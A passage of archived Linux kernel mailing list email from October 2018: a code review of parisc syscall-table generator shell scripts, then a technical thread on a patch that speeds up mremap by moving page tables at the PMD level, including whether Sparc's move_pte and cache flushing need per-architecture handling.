        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <firoz.khan@linaro.org>; Fri, 12 Oct 2018 14:07:49 +0200
In-Reply-To: <1539337442-3676-4-git-send-email-firoz.khan@linaro.org>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897557 gmane.linux.ports.parisc:29143 gmane.linux.kernel.year-2038:3516 gmane.linux.kernel.cross-arch:47737
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897557>

Firoz Khan wrote:

> diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh
> b/arch/parisc/kernel/syscalls/syscallhdr.sh
> new file mode 100644
> index 0000000..607d4ca
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> @@ -0,0 +1,35 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`

Any reason not to use $() instead of backticks?

> +prefix="$4"
> +offset="$5"
> +
> +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    echo "#ifndef ${fileguard}"
> +    echo "#define ${fileguard}"
> +    echo ""
> +
> +    nxt=0
> +    while read nr abi name entry compat ; do
> +	if [ -z "$offset" ]; then
> +	    echo -e "#define __NR_${prefix}${name}\t$nr"

This mixed indentation with both tabs and spaces is a bit messy.

> +	else
> +	    echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> +	fi
> +	nxt=$nr
> +	let nxt=nxt+1

Why do you use let here when you do $(()) calculations at other places?

> +    done
> +
> +    echo ""
> +    echo "#ifdef __KERNEL__"
> +    echo -e "#define __NR_syscalls\t$nxt"
> +    echo "#endif"
> +    echo ""
> +    echo "#endif /* ${fileguard} */"
> +) > "$out"
> diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh
> b/arch/parisc/kernel/syscalls/syscalltbl.sh
> new file mode 100644
> index 0000000..04abde7
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> @@ -0,0 +1,46 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +offset="$4"
> +
> +emit() {
> +    nxt="$1"
> +    if [ -z "$offset" ]; then
> +	nr="$2"
> +    else
> +	nr="$2"
> +	nr=$((nr+offset))

This could be one line, no? Or just set offset to 0 if it is empty and 
avoid that if alltogether.

> +    fi
> +    entry="$3"
> +
> +    while [ $nxt -lt $nr ]; do
> +	echo "__SYSCALL($nxt, sys_ni_syscall, )"
> +        let nxt=nxt+1
> +    done
> +    echo "__SYSCALL($nxt, $entry, )"
> +}
> +
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    if [ -z "$offset" ]; then
> +	nxt=0
> +    else
> +	nxt=$offset
> +    fi

Another argument for offset=0 as default.

> +
> +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"

"<<<" is a bash extension and will not work with /bin/sh.

> +    while read nr abi name entry compat ; do
> +	if [ $my_abi = "compat" ]; then
> +	    if [ -z "$compat" ]; then
> +		emit $nxt $nr $entry
> +	    else
> +		emit $nxt $nr $compat
> +	    fi
> +	else
> +	    emit $nxt $nr $entry
> +	fi

I would go for a local variable being set to $compat or $entry and 
calling emit at only one place. And there should be only one if with 2 
expressions, no need for 3 branches.

> +        let nxt=nxt+1

Inconsistent indentation.

> +    done
> +) > "$out"

Eike


From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 05:50:46 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <20181012125046.GA170912@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539348546 31990 195.159.176.226 (12 Oct 2018 12:49:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 12:49:06 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 14:48:57 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gAwsC-00083o-FO
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 14:48:56 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Vv2q5RPaYPxtHiea9/6H/fBzubHa4ecZNCUi7DMg2uU=; b=WgCCUW2oUxWx7W
	ly+vx/sRnG1/et19eARJWJwvyjqTlqTpjgaDnnKR39wd6FQDSRsyEQ+ae8NqBSf59rynxKFx+Unel
	eg+TOJtkJDbiSjmoj8E8HrxvAo1RswvhIvmSA3dOfHe1rjMwZwMwfn1inrKiWR9ZOMS+3H93zN6lo
	cG5N9Dswg58F8fY0+7T2I0L0oZy5NCn/0fKnEZOOeKCeXqM71xEdm6EwaX6/XnNy67OANc/LstGaP
	9EyYB1KzojNlfjW6Wfod9Dkj6ruiYHmV7Gp67RZe52l6eXEIlML6XxO4y9FGLHzuEPjaK5stxCixy
	ajZT1YzL0RnvHELlHlJw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAwuG-0007Ei-J9; Fri, 12 Oct 2018 12:51:04 +0000
Original-Received: from mail-pl1-x643.google.com ([2607:f8b0:4864:20::643])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAwuD-0007Bq-52
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 12:51:02 +0000
Original-Received: by mail-pl1-x643.google.com with SMTP id y15-v6so5901740plr.12
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 05:50:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=QKN0QLgWMdeaFShuOKgUCdS+KZEgqTytMiliL2mzgC0=;
 b=cuTpq2KxjzFREjuReJCgXoTtmsf4MapPO/GKTB1jBLxsEEu2m7M7ZkvRB6q79tS5tz
 O6mqiraSPEsjDSeGINirN/8v2zV5PUlYs/7NG0sKTsmNtz6ADZ+8u7AlqnAMULoHIM7r
 c98gGt3pHgL5ok5lR90IVL9Vuy1e12CI4gJLs=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=QKN0QLgWMdeaFShuOKgUCdS+KZEgqTytMiliL2mzgC0=;
 b=YNnEHYh3Ul34MG/pcpnkeJP9EDE5Mz5QKnVxBOR2La5tWr+NMgJrHcL4d/aqe1+5lN
 UP4uonXgDuGDAdmgZz0+7rsJoQIjazhdde1FpDGGSI4pcKBv1dn6CLMjw7PtLPh82MIH
 nEEe9kcHueLqN9pHMqAB9jsViDR/XJigi/v6XCp4PuMhuUl/tF9B2j6E7jKofT28M1iP
 xluhLseEFOXXQLIUyNK1P0q1Q2Y9DZCKJias3oGtPgst945XD7ZJjYTpipvL6vbEicjc
 zZMKMaZyj8xFIPwaZHoqw1nGdKfc0anMHXoiwK2k+AvvNj3st38a7Q2IdD4SYh3elOkm
 tW4A==
X-Gm-Message-State: ABuFfogteHAXeh2Q/Qp2XX2CEiBlTn/lrklQ92mf79Jr/lOK3omDbMN0
 mpz/edBjJkb90jgRp61mmuhZWg==
X-Google-Smtp-Source: ACcGV62U4sAceqM+O5tNywkqcriJ8B2EehkajcnFr0AxLQ8/wmf9zrWd7Nv4vm7gsM8YPAJpgdeQnw==
X-Received: by 2002:a17:902:22a:: with SMTP id
 39-v6mr5923316plc.267.1539348649157; 
 Fri, 12 Oct 2018 05:50:49 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id z11-v6sm4395226pfg.85.2018.10.12.05.50.47
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 05:50:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_055101_252810_47A68266 
X-CRM114-Status: GOOD (  21.59  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:643 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1039 gmane.linux.ports.mips.general:67034 gmane.linux.ports.ia64:29370 gmane.linux.ports.sh.devel:57619 gmane.linux.kernel.mm:205134 gmane.linux.ports.sparc:28540 gmane.linux.ports.hexagon:1894 gmane.comp.emulators.kvm.arm.devel:19399 gmane.linux.kernel.arc:4520 gmane.linux.ports.arm.kernel:679305 gmane.linux.ports.parisc:29144 gmane.linux.kernel:2897595 gmane.linux.ports.alpha:5295 gmane.linux.ports.ppc64.devel:164140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1039>

On Fri, Oct 12, 2018 at 02:30:56PM +0300, Kirill A. Shutemov wrote:
> On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> > Android needs to mremap large regions of memory during memory management
> > related operations. The mremap system call can be really slow if THP is
> > not enabled. The bottleneck is move_page_tables, which is copying each
> > pte at a time, and can be really slow across a large map. Turning on THP
> > may not be a viable option, and is not for us. This patch speeds up the
> > performance for non-THP system by copying at the PMD level when possible.
> > 
> > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > 
> > Before:
> > Total mremap time for 1GB data: 242321014 nanoseconds.
> > Total mremap time for 1GB data: 196842467 nanoseconds.
> > Total mremap time for 1GB data: 167051162 nanoseconds.
> > 
> > After:
> > Total mremap time for 1GB data: 385781 nanoseconds.
> > Total mremap time for 1GB data: 388959 nanoseconds.
> > Total mremap time for 1GB data: 402813 nanoseconds.
> > 
> > Incase THP is enabled, the optimization is skipped. I also flush the
> > tlb every time we do this optimization since I couldn't find a way to
> > determine if the low-level PTEs are dirty. It is seen that the cost of
> > doing so is not much compared the improvement, on both x86-64 and arm64.
> 
> I looked into the code more and noticed move_pte() helper called from
> move_ptes(). It changes PTE entry to suite new address.
> 
> It is only defined in non-trivial way on Sparc. I don't know much about
> Sparc and it's hard for me to say if the optimization will break anything
> there.

Sparc's move_pte seems to be flushing the D-cache to prevent aliasing. It is
not modifying the PTE itself AFAICS:

#ifdef DCACHE_ALIASING_POSSIBLE
#define __HAVE_ARCH_MOVE_PTE
#define move_pte(pte, prot, old_addr, new_addr)                         \
({                                                                      \
        pte_t newpte = (pte);                                           \
        if (tlb_type != hypervisor && pte_present(pte)) {               \
                unsigned long this_pfn = pte_pfn(pte);                  \
                                                                        \
                if (pfn_valid(this_pfn) &&                              \
                    (((old_addr) ^ (new_addr)) & (1 << 13)))            \
                        flush_dcache_page_all(current->mm,              \
                                              pfn_to_page(this_pfn));   \
        }                                                               \
        newpte;                                                         \
})
#endif

If its an issue, then how do transparent huge pages work on Sparc?  I don't
see the huge page code (move_huge_pages) during mremap doing anything special
for Sparc architecture when moving PMDs..

Also, do we not flush the caches from any path when we munmap address space?
We do call do_munmap on the old mapping from mremap after moving to the new one.

thanks,

 - Joel

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 16:19:46 +0300
Lines: 77
Approved: news@gmane.org
Message-ID: <20181012131946.zoab2lpfmrycmuju@kshutemo-mobl1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <20181012113056.gxhcbrqyu7k7xnyv@kshutemo-mobl1>
 <20181012125046.GA170912@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539350290 31201 195.159.176.226 (12 Oct 2018 13:18:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 13:18:10 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 15:18:01 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAxKJ-0007t8-46
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 15:17:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Ybhnx6kHa8r5Y9YJOckM57LEucphFZPsUD0fjsC1JHA=; b=dRqHCS91oVQW37
	S1ZwNitLYXIvZdcKRrUebfPQg6FcdhfelLeI7QWXqHHordzUBiMKREnC1IOo0JMjUINQlekHsMSGO
	UZJuYyRHODhdepQC50MNjJm6Em9zMlOCGOh2EoZoZmgy4qDMrln2ZMX2drI8ZPFpJH5U6mGv+5SIo
	RxIa+q00ZBGAcYZMCnPI3txjh2AVqEHSAiSK0Mo0zof6YLfd8JiaEaHKU5/fm/T218VeZNsqSYK+l
	H7Hbw7r8bP/4HbyFAUpgK1hF8MFv4KtA8O8TdOwryaltQzrZXzCdE79ujgf0T7/bcHF7FRCzZiBBM
	g/o8MXdmk3MWEtrQUptQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAxMO-0000Xd-10; Fri, 12 Oct 2018 13:20:08 +0000
Original-Received: from mail-pl1-x642.google.com ([2607:f8b0:4864:20::642])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAxMJ-0000FJ-Bd
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 13:20:05 +0000
Original-Received: by mail-pl1-x642.google.com with SMTP id 30-v6so5929001plb.10
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 06:19:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=shutemov-name.20150623.gappssmtp.com; s=20150623;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=qPLu7mXDYNebnqy2itkdFlgzgYtAbH0/XYuxd81Ni0g=;
 b=YGQLxTR/pEGGaKQwkJOPBPFRTunxlW3tZGxesrOXRnJ6KNUkprkgsjFH3yz3BCwgrr
 aYzpBghcn1iHyBVjtKgD40ZPbxRHkilAmJzb7/aFvPSk5SxyasOy3AigGVde1WJB2nax
 zY2/Ac5VgCKM0KrcyJ+RW5uG3SsqMPxflZ6l1QaePADC37N9Ltvz6oG9Aod/JKTtPaDs
 CNP1gfPNcIhVYS97nBIRjsXfwVI0/hOh6yz5e52vOr0n6L+OGcaaHMTa3oKpjyQI30pq
 +2lbu9/KfK8VHGL5qG/kTRpE1ENspnuC41qZ5FOTEi8qxtzqM+whP9MXiu/XeiCSptlJ
 /2xQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=qPLu7mXDYNebnqy2itkdFlgzgYtAbH0/XYuxd81Ni0g=;
 b=FkUpn5yumEAt9EHpU0PM4ENYToRKkPx8aQ27FIFo8HF/TceJCimpFUQDM+bTxS+pXi
 GkaGxqrmnHwH6r4tmlApY1dLQ6dbme/WJSp8a4aBHD8VMahV9GGphDqpEUP1RZP77D39
 c5oTpyQzb7p31xNYMF5PIsDQRMqdgqAzXzaPgQQ8g8aOoxb0m09SFn77txg/cPeO5qbu
 CjgSmCaF5gzCVCr7j8oIsrQK+nc/cuJkJ9xN2Txi8XcFXNuvPfseniQcM3mkVr+lAA8S
 wz6D6rlnobd9a5CGByUtMkuHsAoauWlJPJpGA/vibtU1AIBquoZgU7OYyyYwSjp4wv/U
 tJzA==
X-Gm-Message-State: ABuFfojaaeb0U9jHa+9uqL3XGaUl062zXQ7viLtjABaAfpSAZ72fVdT2
 IPJsSN/s/2kAKNRiBqUh9oJHTQ==
X-Google-Smtp-Source: ACcGV63NiI8G9L9RoeLis69krPaHbnldlLDZCtg1d0C3iU/tVpX89y6Av72eJGnMr1LMuMBi4E+eAQ==
X-Received: by 2002:a17:902:bf0a:: with SMTP id
 bi10-v6mr5901268plb.72.1539350392511; 
 Fri, 12 Oct 2018 06:19:52 -0700 (PDT)
Original-Received: from kshutemo-mobl1.localdomain ([134.134.139.83])
 by smtp.gmail.com with ESMTPSA id t22-v6sm2727444pfk.141.2018.10.12.06.19.50
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 12 Oct 2018 06:19:51 -0700 (PDT)
Original-Received: by kshutemo-mobl1.localdomain (Postfix, from userid 1000)
 id E9F3E300030; Fri, 12 Oct 2018 16:19:46 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20181012125046.GA170912@joelaf.mtv.corp.google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_062003_490657_F3814374 
X-CRM114-Status: GOOD (  25.55  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:642 listed in] [list.dnswl.org]
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 DKIMWL_WL_MED          DKIMwl.org - Whitelisted Medium sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4521 gmane.linux.ports.mips.general:67035 gmane.linux.ports.ia64:29371 gmane.linux.ports.sh.devel:57620 gmane.linux.kernel.mm:205137 gmane.linux.ports.sparc:28541 gmane.linux.ports.riscv:1040 gmane.linux.ports.hexagon:1895 gmane.comp.emulators.kvm.arm.devel:19400 gmane.linux.ports.arm.kernel:679310 gmane.linux.ports.parisc:29145 gmane.linux.kernel:2897612 gmane.linux.ports.alpha:5296 gmane.linux.ports.ppc64.devel:164141
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4521>

On Fri, Oct 12, 2018 at 05:50:46AM -0700, Joel Fernandes wrote:
> On Fri, Oct 12, 2018 at 02:30:56PM +0300, Kirill A. Shutemov wrote:
> > On Thu, Oct 11, 2018 at 06:37:56PM -0700, Joel Fernandes (Google) wrote:
> > > Android needs to mremap large regions of memory during memory management
> > > related operations. The mremap system call can be really slow if THP is
> > > not enabled. The bottleneck is move_page_tables, which is copying each
> > > pte at a time, and can be really slow across a large map. Turning on THP
> > > may not be a viable option, and is not for us. This patch speeds up the
> > > performance for non-THP system by copying at the PMD level when possible.
> > > 
> > > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > > 
> > > Before:
> > > Total mremap time for 1GB data: 242321014 nanoseconds.
> > > Total mremap time for 1GB data: 196842467 nanoseconds.
> > > Total mremap time for 1GB data: 167051162 nanoseconds.
> > > 
> > > After:
> > > Total mremap time for 1GB data: 385781 nanoseconds.
> > > Total mremap time for 1GB data: 388959 nanoseconds.
> > > Total mremap time for 1GB data: 402813 nanoseconds.
> > > 
> > > Incase THP is enabled, the optimization is skipped. I also flush the
> > > tlb every time we do this optimization since I couldn't find a way to
> > > determine if the low-level PTEs are dirty. It is seen that the cost of
> > > doing so is not much compared the improvement, on both x86-64 and arm64.
> > 
> > I looked into the code more and noticed move_pte() helper called from
> > move_ptes(). It changes PTE entry to suite new address.
> > 
> > It is only defined in non-trivial way on Sparc. I don't know much about
> > Sparc and it's hard for me to say if the optimization will break anything
> > there.
> 
> Sparc's move_pte seems to be flushing the D-cache to prevent aliasing. It is
> not modifying the PTE itself AFAICS:
> 
> #ifdef DCACHE_ALIASING_POSSIBLE
> #define __HAVE_ARCH_MOVE_PTE
> #define move_pte(pte, prot, old_addr, new_addr)                         \
> ({                                                                      \
>         pte_t newpte = (pte);                                           \
>         if (tlb_type != hypervisor && pte_present(pte)) {               \
>                 unsigned long this_pfn = pte_pfn(pte);                  \
>                                                                         \
>                 if (pfn_valid(this_pfn) &&                              \
>                     (((old_addr) ^ (new_addr)) & (1 << 13)))            \
>                         flush_dcache_page_all(current->mm,              \
>                                               pfn_to_page(this_pfn));   \
>         }                                                               \
>         newpte;                                                         \
> })
> #endif
> 
> If its an issue, then how do transparent huge pages work on Sparc?  I don't
> see the huge page code (move_huge_pages) during mremap doing anything special
> for Sparc architecture when moving PMDs..

My *guess* is that it will work fine on Sparc as it apprarently it only
cares about change in bit 13 of virtual address. It will never happen for
huge pages or when PTE page tables move.

But I just realized that the problem is bigger: since we pass new_addr to
the set_pte_at() we would need to audit all implementations that they are
safe with just moving PTE page table.

I would rather go with per-architecture enabling. It's much safer.

> Also, do we not flush the caches from any path when we munmap address space?
> We do call do_munmap on the old mapping from mremap after moving to the new one.

Are you sure about that? It can be hided deeper in architecture-specific
code.

-- 
